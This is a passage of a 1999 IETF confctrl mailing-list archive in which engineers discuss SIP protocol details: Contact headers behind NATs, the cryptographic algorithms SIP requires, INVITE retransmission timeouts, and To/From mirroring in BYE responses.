<BR><FONT SIZE=3D2>Intertex Data AB&nbsp;&nbsp;&nbsp; tel: =
+46-8-6282828</FONT>
<BR><FONT SIZE=3D2>Sundbyberg, Sweden&nbsp; fax: +46-8-6286414</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BEA0C0.F9079EC6--

From confctrl-owner  Mon May 17 19:52:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA03993
	for confctrl-outgoing; Mon, 17 May 1999 19:52:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA03974
	for <confctrl@zephyr.isi.edu>; Mon, 17 May 1999 19:52:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA22221
	for <confctrl@isi.edu>; Mon, 17 May 1999 19:52:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon May 17 22:50:16 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.251])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA13932;
	Mon, 17 May 1999 22:50:14 -0400 (EDT)
Message-ID: <3740D57A.E1B56556@dnrc.bell-labs.com>
Date: Mon, 17 May 1999 22:50:34 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <93496446F5EDD211A8C100805FEAD749019134@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. wrote:
> 
> Yes, I understand the problem. But my point is that the Contact has
> not
> have to be present when the INVITE has been proxied.
> 
> SRD> I don't understand why a proxy should not be able to include a
> contact header in a proxied INVITE message.  I also think that
> removing this requirement for the proxy re-introduces the same problem
> that caused this discussion in the first place.
> 
> SRD> If the proxy that you are talking about is a NAT then why should
> it not be able to include a Contact header.   I understand that it may
> not be the same as the original Contact header.  It should probably be
> contain the URI of the NAT/proxy server itself.  The NAT will be
> saving state for the session anyway, so it should have the ability to
> map the NAT contact header with the original contact header.

The Contact in the INVITE is only needed to route the "last hop" from
the first downstream proxy back upstream to the caller. Proxies and the
UAS don't need to see a Contact. All thats needed for them is a Route
header pointing to the next hop. So, I see no problem if a firewall
removes the Contact (and perhaps some Record-Route headers), so long as
it places a Record-Route for itself in the request, and so long as it
knows how to reconstruct the Record-Route and Contact headers it
removed, when needed. The only hardfast rule is that a UAC/proxy must
always ensure that the next hop, and previous hop, can route requests to
it. This is what mandates insertion of the Contact by a UAC.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon May 17 22:08:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA04496
	for confctrl-outgoing; Mon, 17 May 1999 22:08:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA04471
	for <confctrl@zephyr.isi.edu>; Mon, 17 May 1999 22:08:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA29136
	for <confctrl@isi.edu>; Mon, 17 May 1999 22:08:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue May 18 01:06:35 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.251])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA15434;
	Tue, 18 May 1999 01:06:32 -0400 (EDT)
Message-ID: <3740F56C.59A0BA45@dnrc.bell-labs.com>
Date: Tue, 18 May 1999 01:06:52 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU, vieh01@gel.usherb.ca,
        list iptel <iptel@lists.research.bell-labs.com>
Subject: [Fwd: SIP encryption]
Content-Type: multipart/mixed; boundary="------------6611EBEE8E74B37658DF0861"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------6611EBEE8E74B37658DF0861
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This post belongs on confctrl, not iptel.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen
--------------6611EBEE8E74B37658DF0861
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from chair.dnrc.bell-labs.com (chair [135.180.161.201])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA27184;
	Tue, 18 May 1999 00:52:04 -0400 (EDT)
Received: from lists.research.bell-labs.com (paperless [135.180.161.172])
	by chair.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA01923;
	Tue, 18 May 1999 00:52:01 -0400 (EDT)
Received: by lists.research.bell-labs.com (Postfix)
	id 5FF9B52BB; Tue, 18 May 1999 00:49:18 -0400 (EDT)
Delivered-To: iptel-outgoing-local@paperless.dnrc.bell-labs.com
Received: by lists.research.bell-labs.com (Postfix, from userid 20006)
	id B001452D5; Tue, 18 May 1999 00:49:17 -0400 (EDT)
Delivered-To: iptel-local@paperless.dnrc.bell-labs.com
Date: Mon, 17 May 1999 23:53:41 -0400
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: SIP encryption
X-Sender: 94298898@hermes.usherb.ca
To: iptel@lists.research.bell-labs.com
Message-id: <4.2.0.37.19990517234613.00a533f0@hermes.usherb.ca>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.37 (Beta)
Sender: owner-iptel@lists.research.bell-labs.com
Precedence: bulk
Content-Type: text/plain; format=flowed; charset=us-ascii

Hi Folk!

I have few questions concerning SIP implementation.

1. Is SIP "HAS" to be implement PGP-based to be compatible with other SIP 
engine ?

2. If SIP has to be PGP-based, am I right to assume the Public-key 
encryption has been made using RSA algorithm ?

3. Is SIP use symmetric encryption PGP's IDEA algorithm ?

It's clear in the RFC that the signature could be make by MD5 or SHA.1 
algorithm, but I must admit that I feel confuse about the rest!  Somebody 
could help me ?

Hans...

---------
This message came from the IETF IPTEL Working Group Mailing List.

--------------6611EBEE8E74B37658DF0861--


From confctrl-owner  Tue May 18 11:33:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA23966
	for confctrl-outgoing; Tue, 18 May 1999 11:33:07 -0700 (PDT)
Received: from sims-ha.videotron.net (faure.videotron.net [205.151.222.100])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA23951
	for <confctrl@zephyr.isi.edu>; Tue, 18 May 1999 11:33:06 -0700 (PDT)
Received: from hviens ([205.237.248.37])
 by sims-ha.videotron.net (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5)
 with SMTP id <0FBX00J4UY73ZY@sims-ha.videotron.net> for confctrl@zephyr.isi.edu; Tue, 18 May 1999 14:33:04 -0400 (EDT)
Date: Tue, 18 May 1999 14:33:02 -0400
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: SIP-Encryption
X-Sender: 94298898@hermes.usherb.ca (Unverified)
To: confctrl@ISI.EDU
Message-id: <0FBX00J4XY73ZY@sims-ha.videotron.net>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi!

I would like to know if the Internet draft:
draft-ietf-mmusic-sip-sec-00.txt  is still valid ?

Here is a section of this draft:
----------------------------------------------------------------------------
-----------------------------------------------
3.6 PGP Supported Algorithms

  In order to maintain wide interoperability the algorithms supported 
  here follow [8] where fuller details can be found.

    1. Public Key Algorithms - Implementations MUST implement DSA [23] 
        for signatures and  Elgamal for encryption. Implementations 
        SHOULD implement RSA encryption [7].

    2. Symmetric Key Algorithm - Implementations MUST implement 
        Triple-DES [24]. Implementations SHOULD implement IDEA and 
        CAST5. Implementations MAY implement any other algorithm.

    3. Compression Algorithms - Implementations MUST implement 
       uncompressed data. Implementations SHOULD implement ZIP.

    4. Hash Algorithms - Implementations MUST implement SHA-1 [26]. 
        Implementations SHOULD implement MD5.
----------------------------------------------------------------------------
----------------------------------------------

Well, I just want to know what is the security algorithms that MUST be
implement in SIP ?

Thanks for all,

Hans...

From confctrl-owner  Tue May 18 12:54:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA29079
	for confctrl-outgoing; Tue, 18 May 1999 12:54:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29065
	for <confctrl@zephyr.isi.edu>; Tue, 18 May 1999 12:54:52 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21220
	for <confctrl@ISI.EDU>; Tue, 18 May 1999 12:54:51 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA23249;
	Tue, 18 May 1999 15:54:50 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id PAA27766;
	Tue, 18 May 1999 15:54:49 -0400 (EDT)
Message-ID: <3741C589.7FE234F4@cs.columbia.edu>
Date: Tue, 18 May 1999 15:54:49 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Hans Viens <vieh01@gel.usherb.ca>
CC: confctrl@ISI.EDU
Subject: Re: SIP-Encryption
References: <0FBX00J4XY73ZY@sims-ha.videotron.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hans Viens wrote:
> 
> Hi!
> 
> I would like to know if the Internet draft:
> draft-ietf-mmusic-sip-sec-00.txt  is still valid ?

I'm surprised that this draft hasn't been removed yet, given that it
expired in Sept. 1998. It has (largely) been superseded by the PGP
specification in RFC 2543. The only exception is S/MIME, but the methods
described in the draft would probably have to be adjusted significantly
to fit into the current framework.

> 
> Here is a section of this draft:
> ----------------------------------------------------------------------------
> -----------------------------------------------
> 3.6 PGP Supported Algorithms
> 
>   In order to maintain wide interoperability the algorithms supported
>   here follow [8] where fuller details can be found.
> 
>     1. Public Key Algorithms - Implementations MUST implement DSA [23]
>         for signatures and  Elgamal for encryption. Implementations
>         SHOULD implement RSA encryption [7].
> 
>     2. Symmetric Key Algorithm - Implementations MUST implement
>         Triple-DES [24]. Implementations SHOULD implement IDEA and
>         CAST5. Implementations MAY implement any other algorithm.
> 
>     3. Compression Algorithms - Implementations MUST implement
>        uncompressed data. Implementations SHOULD implement ZIP.
> 
>     4. Hash Algorithms - Implementations MUST implement SHA-1 [26].
>         Implementations SHOULD implement MD5.
> ----------------------------------------------------------------------------
> ----------------------------------------------
> 
> Well, I just want to know what is the security algorithms that MUST be
> implement in SIP ?
> 
> Thanks for all,
> 
> Hans...

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed May 19 14:45:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28478
	for confctrl-outgoing; Wed, 19 May 1999 14:45:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28447
	for <confctrl@zephyr.isi.edu>; Wed, 19 May 1999 14:44:59 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14528
	for <confctrl@isi.edu>; Wed, 19 May 1999 14:44:58 -0700 (PDT)
Received: from cisco.com (dhcp-71-147-247.cisco.com [171.71.147.247]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id OAA12637 for <confctrl@isi.edu>; Wed, 19 May 1999 14:44:25 -0700 (PDT)
Message-ID: <37432F91.69A5A328@cisco.com>
Date: Wed, 19 May 1999 14:39:29 -0700
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Retransmission of INVITEs after receiving provisional response
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If a UAC sends an INVITE, and gets back a provisional response, it
should stop retransmitting the INVITE request(Section 10.5.1 of the SIP
RFC).

If the UAS now dies, the UAC would need to timeout eventually since a
final response is not forthcoming. What is the expected behavior of the
UAC to check with the UAS in this case - resend the INVITE with a new
CSeq if it has not received a final response in a certain interval ?

(In draft-11 or earlier, the UAC retransmitted the INVITE with a larger
interval after receiving the provisional until it received the final -
so this wasnt an issue.)

Thanks
Anup Rao.

From confctrl-owner  Wed May 19 17:54:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA15467
	for confctrl-outgoing; Wed, 19 May 1999 17:54:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA15452
	for <confctrl@zephyr.isi.edu>; Wed, 19 May 1999 17:54:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA05816
	for <confctrl@isi.edu>; Wed, 19 May 1999 17:54:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed May 19 20:53:51 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.116])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA28782;
	Wed, 19 May 1999 20:53:49 -0400 (EDT)
Message-ID: <37435D32.355ABC76@dnrc.bell-labs.com>
Date: Wed, 19 May 1999 20:54:10 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anup Rao <anrao@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: Retransmission of INVITEs after receiving provisional response
References: <37432F91.69A5A328@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anup Rao wrote:
> 
> If a UAC sends an INVITE, and gets back a provisional response, it
> should stop retransmitting the INVITE request(Section 10.5.1 of the SIP
> RFC).
> 
> If the UAS now dies, the UAC would need to timeout eventually since a
> final response is not forthcoming. What is the expected behavior of the
> UAC to check with the UAS in this case - resend the INVITE with a new
> CSeq if it has not received a final response in a certain interval ?

There is really no standardized behavior here. This UAS failure appears
exactly the same as a UAS which never responds because the called party
never answers the phone. How long the UAC waits its at the discretion of
the UAC. What it does when it gives up is also up to the UAC. A
reasonable choice is to send a CANCEL. Since the UAS received a 100
(probably from a local proxy), the local proxy will receive and respond
to the CANCEL with a 200, and then the UAC can do whatever it wants. It
can try again, or call someone else, or whatever. 

Resending the INVITE with a new CSeq but the same Call-ID is probably
not a good idea. If the UAS has not died, but just not had the user
answer yet, it will receive a second INVITE for the same call before
answering the first. This is a confusing situation; you should generally
not send another INVITE before the previous has been answered.
Otherwise, the UAS has to queue all these requests up, make sure they're
ordered, and then answer them all once it knows whether the call is
accepted or not. Quite messy. I think the spec says somewhere you
shouldn't do this; if not, it needs to be clarified.

> 
> (In draft-11 or earlier, the UAC retransmitted the INVITE with a larger
> interval after receiving the provisional until it received the final -
> so this wasnt an issue.)

This was removed since the interval was so large (30s), that in general
users will have given up anyway before retransmitting an INVITE.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May 20 07:56:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13336
	for confctrl-outgoing; Thu, 20 May 1999 07:56:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13320
	for <confctrl@zephyr.isi.edu>; Thu, 20 May 1999 07:56:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA08917
	for <confctrl@isi.edu>; Thu, 20 May 1999 07:56:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu May 20 10:55:34 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA17397;
	Thu, 20 May 1999 10:55:33 -0400 (EDT)
Message-ID: <37441F3B.CF58C78@dnrc.bell-labs.com>
Date: Thu, 20 May 1999 10:42:03 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: how to distinguish call leg if both From and To are same
References: <86256777.004EBC81.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

(Moving this to confctrl where it belongs)

I don't know how you reach this conclusion from 16.3. The flows there
(none of which are for BYE, by the way), all have To and From mirrored
in the responses. Section 16.4 mentions BYE, but has no response in the
example. 

The correct behavior is that the To and From are mirrored in responses,
with the possible addition of a tag in the To field.

-Jonathan R.

Anoop Tripathi wrote:
> 
> RFC 2543 Dated March 1999
> 
> Section 16.3 :
> 
> The message flow shows that for responses the From and To fields are not
> mirrored.
> 
> So , I guess to distinguish a call leg , I always need the tag header.
> 
> Note: This is a problem only for the 200 OK response for a BYE.
> 
> Thanks,
> 
> Anoop
> 
> Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/19/99 10:25:33 PM
> 
> Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
> 
> To:   Anoop Tripathi/MW/US/3Com
> cc:   sigtran@BayNetworks.COM
> Subject:  Re: how to distinguish call leg if both From and To are same
> 
> Same answer. Based on the To and From fields. The response to any
> request mirrors the To and From, with the possible addition of a tag in
> the To field.
> 
> -Jonathan R.
> 
> Anoop Tripathi wrote:
> >
> > Thanks for clearing my doubt on BYE message call leg finding.
> >
> > Going further on the same question :
> >
> > Now I have one on the 200 Response for a BYE message.
> >
> > On  a proxy,
> >
> > When I get a 200 OK Response for a BYE ,
> >
> > How do I find out which leg of the call sent it.
> >
> > Thanks,
> >
> > Anoop
> >
> > Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/14/99 10:33:05 PM
> >
> > Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
> >
> > To:   Anoop Tripathi/MW/US/3Com
> > cc:   confctrl@ISI.EDU
> > Subject:  Re: how to distinguish call leg if both From and To are same
> >
> > Anoop Tripathi wrote:
> > >
> > > Assume an SCN to IP interworking Client ( previously a H323 GW now runnning
> > SIP
> > > ).
> > >
> > > It registers with proxy server(2.2.2.2)  as
> > >
> > > 847*@1.1.1.1
> >
> > Well, first off, SIP registrations don't support wildcarding like this.
> > If you want to establish routing tables for phone calls (which is what
> > this is) use the Gateway Location Protocol (GLP), not SIP registrations.
> >
> > >
> > > A call arrive on the PRI line for phone number (312)2222222 .
> > >
> > > The SIP Client  sends the request to proxy as follows:
> > >
> > > Request URI : 3122222222@2.2.2.2
> > > Call Id        : 1234
> > >           To :      2.2.2.2
> > >           From :    1.1.1.1
> > >
> > John mentioned that:
> >
> > > Anoop,
> > >
> > >  The BYE request in your example will be as follows if it came from
> > > the calling party:
> > >
> > > Callid         : 1234
> > >           To :      3122222222@2.2.2.2
> > >           From :    847*@1.1.1.1
> >
> > The same basic idea is true for your INVITE. It should look like, from
> > the calling gateway to proxy:
> >
> > INVITE sip:312222222@2.2.2.2 SIP/2.0
> > From: sip:<calling number here>@1.1.1.1
> > To: sip:31222222@2.2.2.2
> > .....
> >
> > and from proxy to terminating gateway (same gateway):
> >
> > INVITE sip:8473333333@1.1.1.1 SIP/2.0
> > From: sip:<calling number here>@1.1.1.1
> > To: sip:31222222@2.2.2.2
> > .....
> >
> > Now, if the terminating gateway sends BYE, the To and From are reversed.
> > If the originating gateway sends BYE, they are the same, as John has
> > mentioned.
> >
> > I should also note that since the calling gateway has a destination
> > number that is a plain phone number, it probably shouldn't append the
> > 2.2.2.2 (which is the proxy address) to get a SIP URI, but rather place
> > a phone URI in the To field instead of the SIP URI, and then let the
> > proxy translate the phone URI (phone:3122222222) into a SIP URI
> > (sip:8473333333@1.1.1.1), which gets place in the Request URI of the
> > proxied request.
> >
> > -Jonathan R.
> >
> > --
> > Jonathan D. Rosenberg                       Lucent Technologies
> > Member of Technical Staff                   101 Crawfords Corner Rd.
> > High Speed Networks Research                Holmdel, NJ 07733
> > FAX: (732) 834-5379                         Rm. 4C-526
> > EMAIL: jdrosen@bell-labs.com
> > URL: http://www.cs.columbia.edu/~jdrosen
> 
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May 20 08:58:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA10762
	for confctrl-outgoing; Thu, 20 May 1999 08:58:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10749
	for <confctrl@zephyr.isi.edu>; Thu, 20 May 1999 08:58:29 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA13512
	for <confctrl@isi.edu>; Thu, 20 May 1999 08:58:25 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id LAA21867; Thu, 20 May 1999 11:02:53 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 86256777.00586605 ; Thu, 20 May 1999 11:05:32 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: confctrl@ISI.EDU
Message-ID: <86256777.005864D9.00@mwgate02.mw.3com.com>
Date: Thu, 20 May 1999 11:04:29 -0500
Subject: Re: how to distinguish call leg if both From and To are same
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Sorry for confusion.

A BYE  from Originating User Agent will have :

From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2

A BYE from terminating User Agent will have :

From: sip:31222222@2.2.2.2
To: sip:<calling number here>@1.1.1.1


But an OK for both these BYEs will have

From: sip:<calling number here>@1.1.1.1
To: sip:31222222@2.2.2.2


So , if I don't use tag header , I cannot distinguish who sent the OK.

Anoop




Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/20/99 09:42:03 AM

Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>


To:   Anoop Tripathi/MW/US/3Com
cc:   confctrl@isi.edu
Subject:  Re: how to distinguish call leg if both From and To are same




(Moving this to confctrl where it belongs)

I don't know how you reach this conclusion from 16.3. The flows there
(none of which are for BYE, by the way), all have To and From mirrored
in the responses. Section 16.4 mentions BYE, but has no response in the
example.

The correct behavior is that the To and From are mirrored in responses,
with the possible addition of a tag in the To field.

-Jonathan R.

Anoop Tripathi wrote:
>
> RFC 2543 Dated March 1999
>
> Section 16.3 :
>
> The message flow shows that for responses the From and To fields are not
> mirrored.
>
> So , I guess to distinguish a call leg , I always need the tag header.
>
> Note: This is a problem only for the 200 OK response for a BYE.
>
> Thanks,
>
> Anoop
>
> Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/19/99 10:25:33 PM
>
> Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
>
> To:   Anoop Tripathi/MW/US/3Com
> cc:   sigtran@BayNetworks.COM
> Subject:  Re: how to distinguish call leg if both From and To are same
>
> Same answer. Based on the To and From fields. The response to any
> request mirrors the To and From, with the possible addition of a tag in
> the To field.
>
> -Jonathan R.
>
> Anoop Tripathi wrote:
> >
> > Thanks for clearing my doubt on BYE message call leg finding.
> >
> > Going further on the same question :
> >
> > Now I have one on the 200 Response for a BYE message.
> >
> > On  a proxy,
> >
> > When I get a 200 OK Response for a BYE ,
> >
> > How do I find out which leg of the call sent it.
> >
> > Thanks,
> >
> > Anoop
> >
> > Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 05/14/99 10:33:05 PM
> >
> > Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
> >
> > To:   Anoop Tripathi/MW/US/3Com
> > cc:   confctrl@ISI.EDU
> > Subject:  Re: how to distinguish call leg if both From and To are same
> >
> > Anoop Tripathi wrote:
> > >
> > > Assume an SCN to IP interworking Client ( previously a H323 GW now
runnning
> > SIP
> > > ).
> > >
> > > It registers with proxy server(2.2.2.2)  as
> > >
> > > 847*@1.1.1.1
> >
> > Well, first off, SIP registrations don't support wildcarding like this.
> > If you want to establish routing tables for phone calls (which is what
> > this is) use the Gateway Location Protocol (GLP), not SIP registrations.
> >
> > >
> > > A call arrive on the PRI line for phone number (312)2222222 .
> > >
> > > The SIP Client  sends the request to proxy as follows:
> > >
> > > Request URI : 3122222222@2.2.2.2
> > > Call Id        : 1234
> > >           To :      2.2.2.2
> > >           From :    1.1.1.1
> > >
> > John mentioned that:
> >
> > > Anoop,
> > >
> > >  The BYE request in your example will be as follows if it came from
> > > the calling party:
> > >
> > > Callid         : 1234
> > >           To :      3122222222@2.2.2.2
> > >           From :    847*@1.1.1.1
> >
> > The same basic idea is true for your INVITE. It should look like, from
> > the calling gateway to proxy:
> >
> > INVITE sip:312222222@2.2.2.2 SIP/2.0
> > From: sip:<calling number here>@1.1.1.1
> > To: sip:31222222@2.2.2.2
> > .....
> >
> > and from proxy to terminating gateway (same gateway):
> >
> > INVITE sip:8473333333@1.1.1.1 SIP/2.0
> > From: sip:<calling number here>@1.1.1.1
> > To: sip:31222222@2.2.2.2
> > .....
> >
> > Now, if the terminating gateway sends BYE, the To and From are reversed.
> > If the originating gateway sends BYE, they are the same, as John has
> > mentioned.
> >
> > I should also note that since the calling gateway has a destination
> > number that is a plain phone number, it probably shouldn't append the
> > 2.2.2.2 (which is the proxy address) to get a SIP URI, but rather place
> > a phone URI in the To field instead of the SIP URI, and then let the
> > proxy translate the phone URI (phone:3122222222) into a SIP URI
> > (sip:8473333333@1.1.1.1), which gets place in the Request URI of the
